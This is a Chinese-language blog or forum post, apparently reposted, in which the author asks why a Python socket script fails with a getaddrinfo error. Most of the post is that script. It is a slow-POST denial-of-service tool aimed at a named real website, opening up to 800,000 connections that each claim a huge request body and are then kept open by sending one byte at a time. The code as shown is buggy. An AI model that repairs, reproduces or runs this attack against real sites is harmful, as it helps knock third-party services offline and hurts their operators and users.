美文网首页
SOCKET.GAIERROR: [ERRNO 11001] G

SOCKET.GAIERROR: [ERRNO 11001] G

作者: 濩落瞳矇 | 来源:发表于2022-03-28 19:03 被阅读0次

    代码:

    import socket

    import threading

    import time

    maxsend = 800000

    port = 8000

    url = "http://www.yd-iso.com/"

    page = "/product/sqtjry.html"

    buf = (r"POST %s HTTP/1.1\r\n"r"Host: %s\r\n"r"Content-Length: 1000000000\r\n"r"Cookie: dklkt_dos_test\r\n"r"\r\n" % (page, url))

    socks = []

    def sock_buf_thread():

        global socks

        for i in range(0, maxsend):

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            try:

                s.connect((url, port))

                s.send(buf)

                print("成功连接")

                socks.append(s)

            except:

                 print("失败,可能是网站拒绝访问")

                  time.sleep(2)

    def sock_page_thread():

        global socks

        while True:

            for s in socks:

                try:

                    s.send("f")

                    print("发送成功")

                except:

                    print("失败,可能是网站拒绝访问")

                    socks.remove(s)

                    s.close()

                    time.sleep(1)

    buf_thread = threading.Thread(target = sock_buf_thread(), args = ())

    page_thread = threading.Thread(target = sock_page_thread(), args = ())

    buf_thread.start()

    page_thread.start()

    当把下列代码提取出来时:

    s.connect((url, port))            s.send(buf)            print("成功连接")            socks.append(s)

    出现下列错误:

    SOCKET.GAIERROR: [ERRNO 11001] GETADDRINFO FAILED

    谁能告诉我是为什么?

    相关文章

      网友评论

          本文标题:SOCKET.GAIERROR: [ERRNO 11001] G

          本文链接:https://www.haomeiwen.com/subject/fgapjrtx.html